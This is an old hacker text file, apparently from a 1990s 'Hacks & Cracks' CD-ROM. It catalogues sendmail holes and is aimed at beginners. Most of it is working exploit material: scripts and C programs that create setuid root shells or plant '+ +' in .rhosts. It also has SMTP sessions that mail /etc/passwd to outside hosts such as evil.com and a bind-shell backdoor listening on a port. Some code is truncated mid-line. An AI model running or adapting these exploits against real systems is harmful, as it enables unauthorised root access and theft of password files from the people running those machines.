home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / buglist.txt < prev    next >
Text File  |  1998-03-25  |  60KB  |  1,977 lines

  1.                             Data collected by: Zhart
  2.                             Date: 26/11/96
  3.  
  4. I wanna say that I don't take any credit for this text, I simply collected
  5. and reorganized all the info that was all around for my harddisk (and in my
  6. head), just commented some bugs or added something; sometimes I haven't
  7. even tested the source codes.
  8. I started compiling this list for my own use, then I thought it would be
  9. interesting also for other ppl, mainly beginners, or maybe nobody. For any
  10. comments you can reach me on L.O.R.E. bbs
  11.  
  12.  
  13. -----------------------------------------------------------------
  14.   Hole                         Version of Sendmail
  15. -----------------------------------------------------------------
  16. = WIZ =                        *oLD*
  17. = DEBUG =                      *oLD*
  18. = TURN =                       *oLD*
  19. = OVERFLOW INPUT BUFFER =      *oLD*
  20. = DECODE ALIAS =               *VrFy*
  21. = qf SunOS =                   *SunOS-sendmailV5.1*
  22. = -oR SunOS =                  *SunOS-sendmailV5.22*
  23. = -oM =                        *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*
  24. = OVERWRITE FILES =            *FiXED iN 5.59*
  25. = -oQ =                        *DuNNo*
  26. = |PROGRAM =                   *TeSTeD oN 5.55*
  27. = .forward =                   *5.61*
  28. = TAIL =                       *TeSTeD oN 5.65*
  29. = -C =                         *oLD*
  30. = 4.1 =                        *TeSTeD oN 4.1*
  31. = -d########### =              *8.X.X <8.6.7*
  32. = -oE/filename bounce=         *8.6.7*
  33. = 8.6.9 ident =                *8.6.9*
  34. = 8.6.9 newlines =             *8.6.9*
  35. = 8.6.10 ident/newlines =      *8.6.10*
  36. = HP-UX =                      *HP-UX 9.x*
  37. = 8.7.5 gecos =                *8.X.X <8.8.0* *TeSTed oN 8.6.12*
  38. = mime7to8() =                 *8.8.0*
  39. = smtpd =                      *8.7-8.8.2*
  40. ----------------------------------------------------------------
  41.  
  42. WIZ = *oLD* =
  43.  
  44. The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very
  45. difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and
  46. you're in a root shell. [ it can be set by configuring sendmail.cf file ...
  47. 'OW' option immediately followed by the encrypted password ]
  48.  
  49. DEBUG = *oLD* =
  50.  
  51. This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting
  52. allows anyone to execute any program on a remote machine. It simply
  53. consists in giving the 'debug' command, use a pipe to /bin/sh as recipient
  54. and feed the data with the commands you want to be executed on the remote
  55. machine.
  56.  
  57. [ If sendmail server answers with "200 Debug set" to the 'debug' command
  58. there are good chances the bug is still present ]
  59.  
  60. Example :
  61.  
  62. #!/bin/sh
  63. telnet << EOF
  64. open fucked.host.edu 25
  65. debug
  66. mail from: </dev/null>
  67. rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
  68. data
  69.  
  70. cp /bin/sh /tmp/sushi          # or alternatively:
  71. chmod 4755 /tmp/sushi          # echo "+ +" >> /.rhosts
  72. .
  73. EOF
  74.  
  75. TURN = *oLD* =
  76.  
  77. TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]
  78.  
  79. OVERFLOW INPUT BUFFER = *oLD* =
  80.  
  81. Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
  82. ;) ]
  83.  
  84. DECODE ALIAS = *VrFy* =
  85.  
  86. If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
  87. decode, write to any file onwed by daemon, if they can connect to sendmail
  88. daemon, can write to any file owned by any user.
  89.  
  90. To test the existence of decode alias from a sendmail connection do:
  91.  
  92. % telnet target.com
  93. Trying 127.127.127.127
  94. Connected to target.com
  95. Escape character is '^]'.
  96. 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  97. expn decode
  98. 250 <"|/usr/bin/uudecode">
  99. quit
  100.  
  101. 1SecExploit:
  102.  
  103. % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com
  104.  
  105. MoreThan1SecExploit:
  106.  
  107. % cat > outfile                  # Let's make our .rhosts file
  108. + +
  109. ^C
  110. % uuencode outfile /usr/bin/.rhosts
  111. begin 644 /bin/.rhosts
  112. $*R'K"O\
  113.  
  114. % telnet fuqdhost.com 25
  115. 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)
  116. VRFY decode
  117. 250 <|/usr/bin/uudecode>
  118. MAIL FROM: bin
  119. 250  ... Sender Okay
  120. RCPT TO: decode
  121. 250  ... Recipient Okay
  122. DATA
  123. 354 Enter mail, end with "." on a line by itself
  124. begin 644 /bin/.rhosts
  125. $*R'K"O\                       # which is just "+ +" uuencoded
  126.  
  127. end
  128. .
  129. 250 Mail accepted
  130. quit
  131. 221 fuqdhost.com closing connection
  132. Connection closed by foreign host.
  133. % rlogin fuqdhost.com -l bin
  134. $
  135.  
  136. If no home directories are known or writable, an interesting variation of
  137. this is to create a bogus /etc/aliases.pag file that contains an alias with
  138. a command you wish to execute on your target. This may work since on many
  139. systems the aliases.pag and aliases.dir files, which control the system's
  140. mail aliases, are writable to the world.
  141.  
  142.  evil % cat decode
  143.  bin: "| cat /etc/passwd | mail zen@evil.com"
  144.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  145.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com
  146.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  147.  
  148. qf SunOS = SunOS-sendmailV5.1 =
  149.  
  150. The method used by sendmail version 5 to open a control file
  151. [/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby
  152. another process may obtain a control-file file descriptor, opened for write
  153. access. Sendmail v5, during execution, sets umask(0), which is an insecure
  154. mask. In order not to leave open control files with mode 666, sendmail v5
  155. uses chmod(2) to set a secure file mode. However this is a race condition,
  156. as we can obtain an open file descriptor for write by opening the control
  157. file before the call to chmod(2).
  158.  
  159. IMPACT: Local users can write their own control files, and run programs
  160.         as any user, bar root.
  161.  
  162. EXPLOIT:
  163.  
  164. grabfd.c:
  165.  
  166. /*
  167.  * grabfd.c
  168.  * usage: grabfd username command-file
  169.  *
  170.  *      username: user to execute 'command-file' as.
  171.  *      command-file: file containing 10 lines of shell commands to execute.
  172.  */
  173.  
  174. #include <stdio.h>
  175. #include <unistd.h>
  176. #include <sys/fcntl.h>
  177. #include <sys/param.h>
  178.  
  179. #ifndef SENDMAIL
  180. #define SENDMAIL "/usr/lib/sendmail"
  181. #endif
  182.  
  183. #ifndef SPOOL_DIR
  184. #define SPOOL_DIR "/usr/spool/mqueue"
  185. #endif
  186.  
  187. char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
  188.  
  189. main(argc,argv)
  190. int argc;
  191. char **argv;
  192. {
  193.         int pid, fd;
  194.         char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
  195.  
  196.         if (argc != 3) {
  197.                 (void)fprintf(stderr, "%s: user file\n",
  198.                         argv[0]);
  199.                 exit(1);
  200.         }
  201.  
  202.         if (getpwnam(argv[1]) == NULL)
  203.                 (void)fprintf(stderr, "%s: user %s unknown (error
  204. ignored)\n",
  205.                         argv[0],
  206.                         argv[1]);
  207.  
  208.         if (access(argv[2], F_OK) == -1) {
  209.                 (void)fprintf(stderr, "%s: %s does not exist.\n",
  210.                        argv[0],
  211.                        argv[2]);
  212.                 exit(1);
  213.         }
  214.  
  215.         if (access(SPOOL_DIR, X_OK) == -1) {
  216.                 (void)fprintf(stderr, "%s: cannot access %s.\n",
  217.                         argv[0],
  218.                         SPOOL_DIR);
  219.                 exit(1);
  220.         }
  221.  
  222.         if (pid=fork()) {
  223.  
  224.                 if (pid == -1) {
  225.                         (void)perror("fork");
  226.                         exit(1);
  227.                 }
  228.  
  229.                 (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
  230.                 (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
  231.  
  232.                 for (;;)
  233.                         if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
  234.                                 (void)printf("%s: grabbed queue fd.\n",
  235.                                              argv[0]);
  236.                                 (void)wait();
  237.                                 (void)ftruncate(fd, 0);
  238.                                 (void)write(fd, sysbuf, strlen(sysbuf));
  239.                                 (void)close(fd);
  240.                                 if(execl(SENDMAIL,
  241.                                       "sendmail", "-q", (char *)0) == -1) {
  242.                                         (void)perror("execl");
  243.                                         exit(1);
  244.                                         };
  245.                         }
  246.         } else {
  247.                 (void)close(0);
  248.                 if (open("/etc/motd", O_RDONLY, 0) == -1) {
  249.                         (void)perror("open");
  250.                         exit(1);
  251.                 };
  252.  
  253.                 if (execl(SENDMAIL,
  254.                           "sendmail",
  255. #ifdef sun
  256.                           "-os",
  257. #endif
  258.                           "-odq", getlogin(), (char *)0) == -1) {
  259.                         (void)perror("execl");
  260.                         exit(1);
  261.                 };
  262.         }
  263.         exit(1);
  264. }
  265.  
  266. ::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::
  267.  
  268. -oR SunOS = SunOS-4.1.X-sendmail V5.22 =
  269.  
  270. From 8lgm:
  271.  
  272. DESCRIPTION: The -oR option uses popen() to return undeliverable mail.
  273.  
  274. IMPACT: Local users can obtain root access.
  275.  
  276. -------------------------- ropt.sh ---------------------------------------
  277.  
  278. #!/bin/sh
  279. #
  280. # Syntax: roption host
  281. #
  282. # host is any system running sendmail (except localhost).
  283. #
  284. # This exploits a flaw in SunOS sendmail(8), and attempts
  285. # create a suid root shell
  286. #
  287. # Written 1995 by [8LGM]
  288. # Please do not use this script without permission.
  289. #
  290.  
  291. PROG="`basename $0`"
  292. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  293. IFS=" "                          export IFS
  294.  
  295. # Check args
  296. if [ $# -ne 1 ]; then
  297.         echo "Syntax: $PROG host"
  298.         exit 1
  299. fi
  300.  
  301. # Check we're on SunOS
  302. if [ "x`uname -s`" != "xSunOS" ]; then
  303.         echo "Sorry, this only works on SunOS"
  304.         exit 1
  305. fi
  306.  
  307. PROG="`basename $0`"
  308.  
  309. EXECME=/tmp/HotterThanMojaveInMyHeart
  310.  
  311. # Create EXECME.c
  312.  
  313. cat > $EXECME.c << 'EOF'
  314. main(argc,argv)
  315. int argc;
  316. char *argv[];
  317. {
  318.         chown("/tmp/InfamousAngel", 0, 0);
  319.         chmod("/tmp/InfamousAngel", 04755);
  320. }
  321. EOF
  322.  
  323. cc -o $EXECME $EXECME.c
  324.  
  325. # Check we have EXECME
  326.  
  327. if [ ! -x $EXECME ]; then
  328.         echo "$PROG: couldnt compile $EXECME.c - check it out"
  329.         exit 1
  330. fi
  331.  
  332. /bin/cp /bin/sh /tmp/InfamousAngel
  333. # Run sendmail
  334.  
  335. /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
  336. To: No1InParticular
  337.  
  338. Hows it goin
  339. EOF
  340.  
  341. exec /tmp/InfamousAngel
  342.  
  343. ................................ Cut HeRe ...................................
  344.  
  345. -oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =
  346.  
  347. Sun sendmail allows -oM to set any macro, and still retains root privilege.
  348. ( The list of 'trusted' macros should be limited. )
  349.  
  350. At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail
  351. - all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "
  352.  
  353. After further investigation, it has been discovered that SVR4 based ports
  354. include sendmail(8) based on SMI code.
  355.  
  356. EXPLOIT:
  357.  
  358.   1. Create the file sunsendmailcp
  359.  
  360.      8>------------------------- cut here ---------------------------
  361.      #!/bin/sh
  362.      #
  363.      # sunsendmailcp from to
  364.  
  365.      if [ $# -ne 2 ]; then
  366.              echo usage: `basename $0` from to
  367.              exit 1
  368.      fi
  369.  
  370.      rm -f /usr/tmp/dead.letter
  371.      if [ -f /usr/tmp/dead.letter ]; then
  372.              echo sorry, cant continue - /usr/tmp/dead.letter exists
  373.      fi
  374.  
  375.      if [ ! -r $1 ]; then
  376.              echo $1 doesnt exist or is unreadable
  377.              exit 1
  378.      fi
  379.  
  380.      ln -s $2 /usr/tmp/dead.letter
  381.      /usr/lib/sendmail -L0 '-oM#anything' $USER < $1
  382.      rm /usr/tmp/dead.letter
  383.      exit 0
  384.      8>------------------------- cut here ---------------------------
  385.  
  386.   2. Execute the command % ./sunsendmailcp sourcefile targetfile and target
  387.      file will either be appended to or created.
  388.  
  389. OVERWRITE FILES = FiXED iN 5.59 =
  390.  
  391. Remote users are able to write to any non-root owned files in the system.
  392. This bug was definitely fixed in version 5.59 from Berkeley; despite the
  393. messages below, for versions of sendmail previous to 5.59, the "evil.com"
  394. gets appended, despite the error messages, along with all of the typical
  395. mail headers, to the file specified:
  396.  
  397.  % cat evil_sendmail
  398.  telnet victim.com 25 << EOSM
  399.  rcpt to: /home/zen/.rhosts
  400.  mail from: zen
  401.  data
  402.  random garbage
  403.  .
  404.  rcpt to: /home/zen/.rhosts
  405.  mail from: zen
  406.  data
  407.  evil.com
  408.  .
  409.  quit
  410.  EOSM
  411.  
  412.  evil % /bin/sh evil_sendmail
  413.  Trying 128.128.128.1
  414.  Connected to victim.com
  415.  Escape character is '^]'.
  416.  Connection closed by foreign host.
  417.  
  418.  evil % rlogin victim.com -l zen
  419.          Welcome to victim.com!
  420.  victim %
  421.  
  422. '-oQ' = DuNNo =
  423.  
  424. This bug involves the '-q' and the '-oQ' options and causes any file to be
  425. deleted and read. You should create a 'qf'-type file, in the
  426. /usr/spool/mqueue dir, like this:
  427.  
  428. P28
  429. T599831504
  430. Dfilename
  431. Suser
  432. Ruser
  433. H?P?return-path:
  434. H?F?from: user (User Name)
  435. H?x?full-name: User Name
  436. HTo: user
  437. Hsubject: Gotcha
  438.  
  439. after the command `sendmail -q -oQ' is issued, file `filename' will be
  440. deleted and its content will be mailed to 'user'.
  441.  
  442. - - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to
  443. queue messages The 'q' make the daemon to process the queue - - - -
  444.  
  445. '|PROGRAM ' = TeSTeD oN 5.55 = ...may be others
  446.  
  447. Anyone can specify arbitrary shell commands and/or pathnames for the sender
  448. and/or destination address. A typical attack to get the password file is:
  449.  
  450.  % telnet target.com 25
  451.  Trying 123.456.789.0...
  452.  Connected to target.com
  453.  Escape character is '^]'.
  454.  220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
  455.  mail from: "|/bin/mail me@myhost.com < /etc/passwd"
  456.  250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
  457.  rcpt to: mickeymouse
  458.  550 mickeymouse... User unknown
  459.  data
  460.  354 Enter mail, end with "." on a line by itself
  461.  .
  462.  250 Mail accepted
  463.  quit
  464.  Connection closed by foreign host.
  465.  %
  466.  
  467. .forward = 5.61 =
  468.  
  469. When delivering to files and programs, `sendmail' does not do an
  470. `initgroups(3)' after forking on final delivery. As a result, the sender's
  471. group list remains in effect throughout this stage. This is particularly
  472. serious when root is sending the mail since a program executed out of a
  473. `.forward' file gains interesting privileges like `wheel' and `kmem'. A
  474. related hole can be broken down into a "problem" and an "aggravation". The
  475. "problem" is that queued local mail no longer has the original recipient's
  476. uid associated with it. Control files only store a list of exploded
  477. recipients (i.e. users, files and programs) -- one per line -- each
  478. prefaced with an `R'.
  479.  
  480. So, after an address resolves to the local machine and has undergone alias
  481. and ".forward" expansion, if the letter happens to get queued, on the
  482. succeeding queue run sendmail doesnt know who to run the final delivery as.
  483. The "aggravation" is that, when doing this final delivery of queued local
  484. mail, sendmail will `setuid()' itself to the sender's uid if it is
  485. available; in general, the sender's uid will be used when the sender is on
  486. the local machine. As a result, a user can run a program as anyone who
  487. sends them mail from the local machine. There is also an added
  488. "complication"; the default uid and gid are also set to the sender when
  489. delivering mail! Since the default uid and gid are only used when calling
  490. `setuid()' and `setgid()' (to reset the uid/gid before doing final
  491. delivery), these variables should never be set to the sender.
  492.  
  493.               |------------------------------ Local compromise
  494.                       ------------------------------|
  495.  
  496. Save the following program as "sploit.c" changing MYUID to your user id.
  497. Compile "sploit.c" producing the executable "sploit" in your home
  498. directory. Create a ".forward" file containing:
  499.  
  500.      \<user>, "|<path>/sploit"
  501.  
  502. [change to your username so you dont lose mail (unless, of course, you'd
  503. rather lose mail) and set <path> to your home directory path (where sploit
  504. lives)] Now, as another user, send yourself some mail. Note that the sploit
  505. program defers delivery the first time thru; check out "/tmp/whoami" to see
  506. that sploit ran as you. Now, run your mail queue (or open a beer and wait
  507. for sendmail to run it). After the queue run, note that the sploit accepted
  508. the letter and returned a successful exit status; check out "/tmp/whoami"
  509. again to see that this time, sploit ran as the sender! You can also use
  510. "sploit.c" to test for the root initgroups() hole by checking the group
  511. list when "sploit" was first called.
  512.  
  513.      #include <sys/param.h>
  514.      #include <sys/types.h>
  515.      #include <stdio.h>
  516.      #include <sysexits.h>
  517.      #include <pwd.h>
  518.      #include <grp.h>
  519.  
  520.      #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
  521.  
  522.      #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
  523.      #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
  524.  
  525.      main()
  526.      {
  527.      FILE *fp;
  528.      uid_t myuid;
  529.      int i, rval, ngrps, grplst[NGROUPS];
  530.  
  531.      if ((myuid = getuid()) == MYUID)
  532.      rval = EX_TEMPFAIL;
  533.      else
  534.      rval = EX_OK;
  535.  
  536.      if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
  537.  
  538.      /* real user/group ids */
  539.      fprintf(fp, "%susr:%s grp:%s",
  540.      (rval == EX_OK)? "": "Def> ",
  541.      getuser(myuid), getgrp(getgid()));
  542.  
  543.      /* effective user/group ids */
  544.      fprintf(fp, " eusr:%s egrp:%s",
  545.      getuser(geteuid()), getgrp(getegid()));
  546.  
  547.      /* group list */
  548.      if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
  549.      fprintf(fp, " grps:");
  550.      for (i = 0; i < ngrps; i++)
  551.      fprintf(fp, " %s", getgrp(grplst[i]));
  552.      }
  553.      fprintf(fp, "\n");
  554.  
  555.      (void) fclose(fp);
  556.      }
  557.  
  558.      exit(rval);
  559.      }
  560.  
  561. --------------------- CuT HeRe -------------------------------------------------
  562.  
  563. =====================  trick for sendmail 5.61  ===========================
  564. /*
  565.  * 1) set the #define UID, at the top of the program to be your's
  566.  * 2) create a file: /tmp/.shell, which is a script to make a suid shell
  567.  * 3) compile the program and name it say, /tmp/.magic
  568.  * 4) create a .forward file containing: '|/tmp/.magic'
  569.  * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
  570.  *    you want a shell from (but not root :-( RATS!)
  571.  * 6) wait abit, it usually works ...
  572.  */
  573.  
  574. #define UID 777   /* change to your uid */
  575.  
  576. #include <sys/param.h>
  577. #include <sys/types.h>
  578. #include <stdio.h>
  579. #include <sysexits.h>
  580. #include <pwd.h>
  581. #include <grp.h>
  582.  
  583. #define SHELLFILE  "/tmp/.shell"
  584.  
  585. main()
  586.         int myuid, rval;
  587.  
  588.         if ((myuid = getuid()) == UID)
  589.                 rval = EX_TEMPFAIL;
  590.         else {
  591.                 rval = EX_OK;
  592.                 system(SHELLFILE);
  593.         }
  594.         exit(rval);
  595. }
  596.  
  597. ------------------------------ CuT HeRe --------------------------------
  598.  
  599. Tail creates a daemon shell = TeSTeD oN 5.65 =
  600.  
  601. Through this sendmail bug, it is possible to become uid daemon (or whatever
  602. your sendmail delivers non-user mail as), or the uid of any user. The
  603. specifics are as follows:
  604.  
  605.    * The envelope From: field, or possibly the Errors-To: header (but I've
  606.      not tested it), must be set to the pipe through a bounce of your mail
  607.      will be returned. Typically this is executed by uid daemon.
  608.  
  609.    * An error must be caused in the message such that sendmail will send a
  610.      bounce to the From: envelope (or possibly to Errors-To:).
  611.  
  612. These two conditions are all that is necessary to exploit the bug.
  613. Typically the simplest thing to pipe to is
  614.  
  615.  
  616.         |/usr/ucb/tail|/usr/bin/sh
  617. aka     |/usr/ucb/tail|/bin/sh
  618.  
  619. That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/;
  620. the PATH is important in the case.
  621.  
  622. The condition we have used to generate an error is an invalid
  623. Return-Receipt-To: header. There are a plethora of other ways to do so, and
  624. some of them may depend on the specifics of your sendmail; be forewarned.
  625.  
  626. The last ten lines of your message should contain whatever you wish to do
  627. as uid daemon.
  628.  
  629. ---cut here
  630. [panix!jhawk] |% telnet panix.com 25
  631. Trying 198.7.0.2 ...
  632. Connected to panix.com.
  633. Escape character is '^]'.
  634. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
  635. -0500
  636.  
  637. HELO
  638. 250 Hello panix.com, why do you call yourself ?
  639. MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
  640. 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
  641. RCPT TO: root
  642. 250 root... Recipient ok
  643. DATA
  644. 354 Enter mail, end with @.@ on a line by itself
  645.  From: jhawk"panix.com (John Hawkinson)
  646.   To: jhawk"panix.com (John Hawkinson)
  647.   Return-Receipt-To: |foobar
  648.   Subject: This is a large hole in the ground.
  649.   X-Disclaimer: We take no responsibility for what might happen
  650.  
  651.   Hi there. Wanna play ball?
  652.  
  653.   #!/bin/sh
  654.   #The above line is just in case :-)
  655.   echo This is a Serious Bug > /tmp/bug
  656.   echo id reports: >> /tmp/bug
  657.   /usr/bin/id >> /tmp/bug
  658.   echo Fixing this would be good >> /tmp/bug
  659.   cp /bin/sh /tmp/bugshell
  660.   chmod u+s /tmp/bugshell
  661.   echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  662.   chmod ugo+rx /tmp/bugshell
  663. .
  664. 250 Ok
  665. quit
  666. 221 panix.com closing connection
  667.  
  668. ------------------------- CuT HeRe ----------------------------------------
  669.  
  670. "-C" = oLD =
  671.  
  672. Read any file. Using the '-C' option causes an alternative configuration
  673. file to be used, if the file is a protected file which is actually not a
  674. send mail configuration file, `sendmail' will print out some contents of
  675. the file as an error message.
  676.  
  677. It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)
  678.  
  679. $ sendmail -C /etc/shadow
  680. <contents of /etc/shadow>
  681.  
  682.  
  683. 4.1 = TeSTeD oN 4.1 =
  684.  
  685. It allows remote access as bin...and since bin owns the /etc dir you can
  686. gain root.
  687.  
  688. Rsend needs mconnect, which is a binary, which just connects to the place
  689. and sends the data. You can get rid the of ()'s at the beginninga and end
  690. of the script, and get rid of the mconnect line, and run like ./rsend >
  691. file, then ascii U/L the file to port 25...If it says a lot of stuff like
  692. "Command Ununown" 25 times, then it didn't work.
  693.  
  694. Here's rsend:
  695.  
  696. #!/bin/sh
  697. # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
  698. #
  699. # This material is copyrighted by Scott Chasin, 1992, 1993. The
  700. # usual standard disclaimer applies, especially the fact that the
  701. # author is not liable for any damages caused by direct or indirect
  702. # use of the information or functionality provided by this program.
  703. #
  704. # Description:
  705. #
  706. # Exploit NEW sendmail hole  and bind a port so we can spawn a program.
  707. # Not for distribution under any circumstances
  708. #
  709. # Usage: smail
  710. # default: smail   <7001>
  711.  
  712. port=$3
  713. user=$2
  714. cmd=$4
  715.  
  716. if [ -z "$2" ]; then
  717.    user=daemon
  718. fi
  719.  
  720. if [ -z "$3" ]; then
  721.    port=7002
  722. fi
  723.  
  724. if [ -z "$4" ]; then
  725.    cmd="/bin/csh -i"
  726. fi
  727.  
  728. (
  729. sleep 4
  730. echo "helo"
  731. echo "mail from: |"
  732. echo "rcpt to: bounce"
  733. echo "data"
  734. echo "."
  735. sleep 3
  736. echo "mail from: $user"
  737. echo "rcpt to: | sed '1,/^$/d' | sh"
  738. echo "data"
  739. echo "cat > /tmp/a.c <
  740. #include <sys/signal.h>
  741. #include <sys/socket.h>
  742. #include <netinet/in.h>
  743. #include <netdb.h>
  744. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  745. int **av;{struct sockaddr_in mya;struct servent *sp
  746. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  747. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  748. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  749. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  750. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  751. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  752. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  753. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  754. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  755. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  756. ==0){for(x=2;x
  757.  
  758. Or you can also ul this to port 25.
  759. BTW, it gets you in by running a program that listens to port 7008...
  760. you telnet to port 7008. You can then proceed to create new users in
  761. /etc/passwd because you own the /etc dir...you need to type a ; after every
  762. command, and it gives you 1 error every command...ignore it. The process
  763. may be noticed by a few admins.
  764.  
  765. helo
  766. mail from: |
  767. rcpt to: bounce
  768. data
  769. .
  770. mail from: bin
  771. rcpt to: | sed '1,/^$/d' | sh
  772. data
  773. cat > /tmp/a.c <
  774. #include <sys/signal.h>
  775. #include <sys/socket.h>
  776. #include <netinet/in.h>
  777. #include <netdb.h>
  778. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  779. int **av;{struct sockaddr_in mya;struct servent *sp
  780. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  781. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  782. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  783. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  784. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  785. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  786. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  787. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  788. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  789. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  790. ==0){for(x=2;x
  791.  
  792. -d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4 =
  793.  
  794. This bug is present in all 8.X.X sendmail versions prior to 8.6.7 Here
  795. follow excerpts from Michael Widner's message on Bugtraq with his script
  796. for SunOs and Solaris, and another script tested on SunOS 5.2 with sendmail
  797. 8.6.4:
  798.  
  799. "The important thing to know is that if your sendmail crashes when you pass
  800. it something like -d387654321 then it can most likely be exploited to gain
  801. root access.
  802.  
  803. Without going into much detail, -dx.y writes y into the debug array as
  804. array[x]=y. Range checking is not performed properly on x, so it's possible
  805. to pass negative integers that pass the range check. Find a key location
  806. before the debug array, over write it, and you're in business.
  807.  
  808. The problem in trying to create a generic script is that the 'key'
  809. locations have different offsets from the debug array for every version of
  810. sendmail. Sometimes they're easy to locate if you can get a core, but
  811. sometimes it is tough to get a core w/o already being root. Also, sometimes
  812. a core tells you nothing.
  813.  
  814. The following script is Sun specific, and patches are now available for all
  815. versions of Sun sendmail. The script creates a suid root owned copy of
  816. /bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you
  817. choose some program other than /bin/sh. "
  818.  
  819. #!/bin/sh
  820. # This script takes advantage of sendmail's (mis)interpretation of
  821. # very large unsigned ints as signed ints when accessing the debug
  822. # array.  As it, it will work with the 8 versions of sun sendmail
  823. # that I have access to.  Perhaps I'll update it if I find new
  824. # versions of sun sendmail.
  825. # NOTE:  This is a Sun specific script.  Don't expect it to work with
  826. #        any non-sun sendmail.
  827. # -Michael R. Widner (atreus)        3/25/94
  828. #
  829. # usage:  smdhole [/path/to/suid/sendmail]
  830. #
  831.  
  832. # add /usr/ucb to path so solaris can find `whoami` (4/18/94)
  833. path=$path:/usr/ucb
  834.  
  835. if [ $1x = x ]; then
  836.         sendmail=/usr/lib/sendmail
  837. else
  838.         echo "Trying to abuse $1."
  839.         sendmail=$1
  840. fi
  841.  
  842. sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`
  843.  
  844. # prefix and suffix for -1 as unsigned integer.  Actually, this is
  845. # off by two.  you figure out why.
  846. prefix=42949
  847. suffix=67297
  848.  
  849. case $sm_size in
  850.         132064)
  851.                 n1=${prefix}52864
  852.                 n2=${prefix}52865
  853.                 n3=${prefix}52866
  854.                 echo Patched solaris w/o mx.
  855.                 ;;
  856.         134752) # ug! dropped a 0 before.  fixed 4/18/94
  857.                 n1=${prefix}01656
  858.                 n2=${prefix}01657
  859.                 n3=${prefix}01658
  860.                 echo Patched solaris sendmail.mx
  861.                 ;;
  862.         130860)
  863.                 n1=${prefix}53016
  864.                 n2=${prefix}53017
  865.                 n3=${prefix}53018
  866.                 echo Un-patched solaris w/o mx.
  867.                 ;;
  868.         133548) # ug! dropped a 0 before.  fixed 4/18/94
  869.                 n1=${prefix}01808
  870.                 n2=${prefix}01809
  871.                 n3=${prefix}01810
  872.                 echo Un-patched solaris sendmail.mx
  873.                 ;;
  874.         139264)
  875.                 n1=${prefix}49609
  876.                 n2=${prefix}49610
  877.                 n3=${prefix}49611
  878.                 echo Sun 4.1.3 sendmail - could be either of two versions
  879.                 n4=${prefix}49265
  880.                 n5=${prefix}49266
  881.                 n6=${prefix}49267
  882.                 ;;
  883.         155648)
